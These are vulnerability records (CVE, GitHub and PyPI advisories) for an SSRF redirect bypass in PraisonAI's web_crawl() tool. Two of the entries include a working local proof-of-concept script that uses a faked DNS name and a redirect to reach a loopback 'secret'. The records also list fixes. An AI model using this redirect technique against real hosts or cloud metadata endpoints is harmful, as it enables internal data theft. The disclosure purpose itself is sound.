{
  "affected": [
    {
      "affectedData": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.5.128, \u003c 1.6.58"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI is a multi-agent teams system. In versions 1.5.128 through 1.6.57, the praisonaiagents.tools.web_crawl_tools.web_crawl() function is vulnerable to server-side request forgery. While it validates the initially supplied URL and blocks direct loopback and private destinations, its default httpx fallback uses httpx.Client(follow_redirects=True) and does not revalidate intermediate or final redirect targets. An attacker who can influence a URL passed to web_crawl(), directly or through an agent or tool workflow, can supply an attacker-controlled public URL that passes the initial host check and then redirects to loopback, private-network, or cloud metadata endpoints reachable from the host, with the redirected response body returned in the web_crawl() result. This constitutes an incomplete fix and patch bypass for the previously disclosed web_crawl SSRF class (GHSA-qq9r-63f6-v542 / CVE-2026-40160 and GHSA-8f4v-xfm9-3244), since the guard validates only the requested URL and not the destination actually fetched after redirection. This issue has been fixed in version 1.6.58."
    }
  ],
  "id": "CVE-2026-55523",
  "lastModified": "2026-09-08T20:51:43.490",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55523",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-06T14:36:55.390565Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-05T20:17:10.690",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8hjw-25cg-g52h"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8hjw-25cg-g52h"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.128"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:18:40Z",
    "nvd_published_at": "2026-08-05T20:17:10Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`praisonaiagents.tools.web_crawl_tools.web_crawl()` validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses `httpx.Client(follow_redirects=True)` and does not revalidate redirect targets.\n\nAn attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by `web_crawl()`.\n\nThis appears to be an incomplete fix / patch bypass for the published `web_crawl` SSRF class (`GHSA-qq9r-63f6-v542` / `CVE-2026-40160`, and `GHSA-8f4v-xfm9-3244`).\n\n## Affected Component\n\nPackage:\n\n```text\npraisonaiagents\n```\n\nFile:\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py\n```\n\nFunctions:\n\n```text\nweb_crawl()\n_crawl_with_httpx()\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `praisonaiagents 1.5.128` via repository tag `v4.5.128`;\n- `praisonaiagents 1.6.40` via repository tag `v4.6.40`;\n- `praisonaiagents 1.6.56` via repository tag `v4.6.56`;\n- current `origin/main` commit `095653d78a01cc6c80ff5b2dd20a8e5619686ddc`.\n\nSuggested affected range for maintainer confirmation:\n\n```text\n\u003e= 1.5.128, \u003c= 1.6.56\n```\n\nNo patched version is known to me at submission time.\n\n## Root Cause\n\nCurrent `web_crawl()` validates only the initially supplied URL:\n\n- requires `http` or `https`;\n- resolves the initial hostname with `socket.gethostbyname()`;\n- rejects loopback/private/link-local/multicast/unspecified addresses unless `ALLOW_LOCAL_CRAWL=true`.\n\nThe default fetch sink then follows redirects:\n\n```python\nwith httpx.Client(follow_redirects=True, timeout=30.0) as client:\n    response = client.get(url)\n```\n\nThere is no validation of intermediate or final redirect destinations before `httpx` fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so `attacker.test` appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.\n\nRun from a checkout of the repository:\n\n```fish\nenv PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py\n```\n\nObserved output:\n\n```text\nDIRECT_CONTROL: {\u0027error\u0027: \u0027No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.\u0027}\nREDIRECT_RESULT: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027content\u0027: \u0027INTERNAL-SECRET-FROM-LOOPBACK\u0027, \u0027title\u0027: \u0027\u0027, \u0027provider\u0027: \u0027httpx\u0027}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nPRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.\n\nWith the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:\n\n```text\nREDIRECT_HIT: True\nINTERNAL_HIT: False\n```\n\n## Impact\n\nIf an attacker can influence URLs passed to `web_crawl()`, directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the `web_crawl()` result.\n\nPractical impact includes:\n\n- reading loopback-only HTTP services;\n- probing private network services;\n- reading cloud metadata endpoints where reachable and not otherwise protected.\n\nThis report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.\n\n## Severity\n\n\nThis mirrors the CVSS v4.0 shape already used for the prior `web_crawl` SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.\n\n## Suggested Fix\n\n- Set `follow_redirects=False` in `_crawl_with_httpx()`, or handle redirects manually and validate each `Location` target before following it.\n- Centralize the URL validation used by server-side fetch tools.\n- Validate every resolved address using `socket.getaddrinfo()`, not only the first `gethostbyname()` result.\n- Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.\n- Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.\n\n## PoV\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.\n\nThis PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI\u0027s pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\nfrom praisonaiagents.tools.web_crawl_tools import web_crawl\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n    body = b\"INTERNAL-SECRET-FROM-LOOPBACK\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n    target = \"\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(302)\n        self.send_header(\"Location\", self.target)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\ndef main() -\u003e int:\n    os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n    internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n    internal.hit = False  # type: ignore[attr-defined]\n    internal_port = internal.server_address[1]\n\n    RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n    redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n    redirect.hit = False  # type: ignore[attr-defined]\n    redirect_port = redirect.server_address[1]\n\n    threading.Thread(target=internal.serve_forever, daemon=True).start()\n    threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n    original_gethostbyname = socket.gethostbyname\n    original_getaddrinfo = socket.getaddrinfo\n\n    def fake_gethostbyname(host: str) -\u003e str:\n        if host == \"attacker.test\":\n            return \"93.184.216.34\"\n        return original_gethostbyname(host)\n\n    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n        if host == \"attacker.test\":\n            return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n        return original_getaddrinfo(host, port, *args, **kwargs)\n\n    socket.gethostbyname = fake_gethostbyname\n    socket.getaddrinfo = fake_getaddrinfo\n    try:\n        direct_control = web_crawl(\n            f\"http://127.0.0.1:{internal_port}/secret\",\n            provider=\"httpx\",\n        )\n        redirect_result = web_crawl(\n            f\"http://attacker.test:{redirect_port}/go\",\n            provider=\"httpx\",\n        )\n    finally:\n        socket.gethostbyname = original_gethostbyname\n        socket.getaddrinfo = original_getaddrinfo\n        redirect.shutdown()\n        internal.shutdown()\n        redirect.server_close()\n        internal.server_close()\n\n    print(\"DIRECT_CONTROL:\", direct_control)\n    print(\"REDIRECT_RESULT:\", redirect_result)\n    print(\"REDIRECT_SERVER_HIT:\", bool(redirect.hit))  # type: ignore[attr-defined]\n    print(\"INTERNAL_SERVER_HIT:\", bool(internal.hit))  # type: ignore[attr-defined]\n\n    if not isinstance(direct_control, dict) or \"No valid or safe URLs\" not in str(direct_control):\n        raise SystemExit(\"control failed: direct loopback was not blocked\")\n    if not isinstance(redirect_result, dict):\n        raise SystemExit(\"bypass failed: unexpected result type\")\n    if \"INTERNAL-SECRET-FROM-LOOPBACK\" not in str(redirect_result.get(\"content\", \"\")):\n        raise SystemExit(\"bypass failed: redirect target content was not returned\")\n    if not bool(redirect.hit) or not bool(internal.hit):  # type: ignore[attr-defined]\n        raise SystemExit(\"bypass failed: expected local servers were not hit\")\n\n    print(\"PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```",
  "id": "GHSA-8hjw-25cg-g52h",
  "modified": "2026-08-25T14:18:40Z",
  "published": "2026-08-25T14:18:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8hjw-25cg-g52h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents",
        "purl": "pkg:pypi/praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.128"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.5.128",
        "1.5.129",
        "1.5.130",
        "1.5.131",
        "1.5.132",
        "1.5.133",
        "1.5.134",
        "1.5.135",
        "1.5.136",
        "1.5.137",
        "1.5.138",
        "1.5.139",
        "1.5.140",
        "1.5.141",
        "1.5.142",
        "1.5.143",
        "1.5.144",
        "1.5.145",
        "1.5.146",
        "1.5.147",
        "1.5.148",
        "1.5.149",
        "1.6.1",
        "1.6.10",
        "1.6.11",
        "1.6.12",
        "1.6.13",
        "1.6.14",
        "1.6.15",
        "1.6.16",
        "1.6.17",
        "1.6.18",
        "1.6.19",
        "1.6.2",
        "1.6.20",
        "1.6.21",
        "1.6.22",
        "1.6.23",
        "1.6.24",
        "1.6.25",
        "1.6.26",
        "1.6.27",
        "1.6.28",
        "1.6.29",
        "1.6.3",
        "1.6.30",
        "1.6.31",
        "1.6.32",
        "1.6.33",
        "1.6.34",
        "1.6.35",
        "1.6.36",
        "1.6.37",
        "1.6.38",
        "1.6.39",
        "1.6.4",
        "1.6.40",
        "1.6.41",
        "1.6.42",
        "1.6.43",
        "1.6.44",
        "1.6.45",
        "1.6.46",
        "1.6.47",
        "1.6.48",
        "1.6.5",
        "1.6.50",
        "1.6.51",
        "1.6.52",
        "1.6.53",
        "1.6.54",
        "1.6.55",
        "1.6.56",
        "1.6.57",
        "1.6.6",
        "1.6.7",
        "1.6.8",
        "1.6.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55523",
    "GHSA-8hjw-25cg-g52h"
  ],
  "details": "## Summary\n\n`praisonaiagents.tools.web_crawl_tools.web_crawl()` validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses `httpx.Client(follow_redirects=True)` and does not revalidate redirect targets.\n\nAn attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by `web_crawl()`.\n\nThis appears to be an incomplete fix / patch bypass for the published `web_crawl` SSRF class (`GHSA-qq9r-63f6-v542` / `CVE-2026-40160`, and `GHSA-8f4v-xfm9-3244`).\n\n## Affected Component\n\nPackage:\n\n```text\npraisonaiagents\n```\n\nFile:\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py\n```\n\nFunctions:\n\n```text\nweb_crawl()\n_crawl_with_httpx()\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `praisonaiagents 1.5.128` via repository tag `v4.5.128`;\n- `praisonaiagents 1.6.40` via repository tag `v4.6.40`;\n- `praisonaiagents 1.6.56` via repository tag `v4.6.56`;\n- current `origin/main` commit `095653d78a01cc6c80ff5b2dd20a8e5619686ddc`.\n\nSuggested affected range for maintainer confirmation:\n\n```text\n\u003e= 1.5.128, \u003c= 1.6.56\n```\n\nNo patched version is known to me at submission time.\n\n## Root Cause\n\nCurrent `web_crawl()` validates only the initially supplied URL:\n\n- requires `http` or `https`;\n- resolves the initial hostname with `socket.gethostbyname()`;\n- rejects loopback/private/link-local/multicast/unspecified addresses unless `ALLOW_LOCAL_CRAWL=true`.\n\nThe default fetch sink then follows redirects:\n\n```python\nwith httpx.Client(follow_redirects=True, timeout=30.0) as client:\n    response = client.get(url)\n```\n\nThere is no validation of intermediate or final redirect destinations before `httpx` fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so `attacker.test` appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.\n\nRun from a checkout of the repository:\n\n```fish\nenv PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py\n```\n\nObserved output:\n\n```text\nDIRECT_CONTROL: {\u0027error\u0027: \u0027No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.\u0027}\nREDIRECT_RESULT: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027content\u0027: \u0027INTERNAL-SECRET-FROM-LOOPBACK\u0027, \u0027title\u0027: \u0027\u0027, \u0027provider\u0027: \u0027httpx\u0027}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nPRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.\n\nWith the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:\n\n```text\nREDIRECT_HIT: True\nINTERNAL_HIT: False\n```\n\n## Impact\n\nIf an attacker can influence URLs passed to `web_crawl()`, directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the `web_crawl()` result.\n\nPractical impact includes:\n\n- reading loopback-only HTTP services;\n- probing private network services;\n- reading cloud metadata endpoints where reachable and not otherwise protected.\n\nThis report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.\n\n## Severity\n\n\nThis mirrors the CVSS v4.0 shape already used for the prior `web_crawl` SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.\n\n## Suggested Fix\n\n- Set `follow_redirects=False` in `_crawl_with_httpx()`, or handle redirects manually and validate each `Location` target before following it.\n- Centralize the URL validation used by server-side fetch tools.\n- Validate every resolved address using `socket.getaddrinfo()`, not only the first `gethostbyname()` result.\n- Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.\n- Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.\n\n## PoV\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.\n\nThis PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI\u0027s pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\nfrom praisonaiagents.tools.web_crawl_tools import web_crawl\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n    body = b\"INTERNAL-SECRET-FROM-LOOPBACK\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n    target = \"\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(302)\n        self.send_header(\"Location\", self.target)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\ndef main() -\u003e int:\n    os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n    internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n    internal.hit = False  # type: ignore[attr-defined]\n    internal_port = internal.server_address[1]\n\n    RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n    redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n    redirect.hit = False  # type: ignore[attr-defined]\n    redirect_port = redirect.server_address[1]\n\n    threading.Thread(target=internal.serve_forever, daemon=True).start()\n    threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n    original_gethostbyname = socket.gethostbyname\n    original_getaddrinfo = socket.getaddrinfo\n\n    def fake_gethostbyname(host: str) -\u003e str:\n        if host == \"attacker.test\":\n            return \"93.184.216.34\"\n        return original_gethostbyname(host)\n\n    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n        if host == \"attacker.test\":\n            return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n        return original_getaddrinfo(host, port, *args, **kwargs)\n\n    socket.gethostbyname = fake_gethostbyname\n    socket.getaddrinfo = fake_getaddrinfo\n    try:\n        direct_control = web_crawl(\n            f\"http://127.0.0.1:{internal_port}/secret\",\n            provider=\"httpx\",\n        )\n        redirect_result = web_crawl(\n            f\"http://attacker.test:{redirect_port}/go\",\n            provider=\"httpx\",\n        )\n    finally:\n        socket.gethostbyname = original_gethostbyname\n        socket.getaddrinfo = original_getaddrinfo\n        redirect.shutdown()\n        internal.shutdown()\n        redirect.server_close()\n        internal.server_close()\n\n    print(\"DIRECT_CONTROL:\", direct_control)\n    print(\"REDIRECT_RESULT:\", redirect_result)\n    print(\"REDIRECT_SERVER_HIT:\", bool(redirect.hit))  # type: ignore[attr-defined]\n    print(\"INTERNAL_SERVER_HIT:\", bool(internal.hit))  # type: ignore[attr-defined]\n\n    if not isinstance(direct_control, dict) or \"No valid or safe URLs\" not in str(direct_control):\n        raise SystemExit(\"control failed: direct loopback was not blocked\")\n    if not isinstance(redirect_result, dict):\n        raise SystemExit(\"bypass failed: unexpected result type\")\n    if \"INTERNAL-SECRET-FROM-LOOPBACK\" not in str(redirect_result.get(\"content\", \"\")):\n        raise SystemExit(\"bypass failed: redirect target content was not returned\")\n    if not bool(redirect.hit) or not bool(internal.hit):  # type: ignore[attr-defined]\n        raise SystemExit(\"bypass failed: expected local servers were not hit\")\n\n    print(\"PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```",
  "id": "PYSEC-2026-3900",
  "modified": "2026-09-10T11:02:28.221953Z",
  "published": "2026-09-10T09:44:53.840855Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8hjw-25cg-g52h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonaiagents"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8hjw-25cg-g52h"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets"
}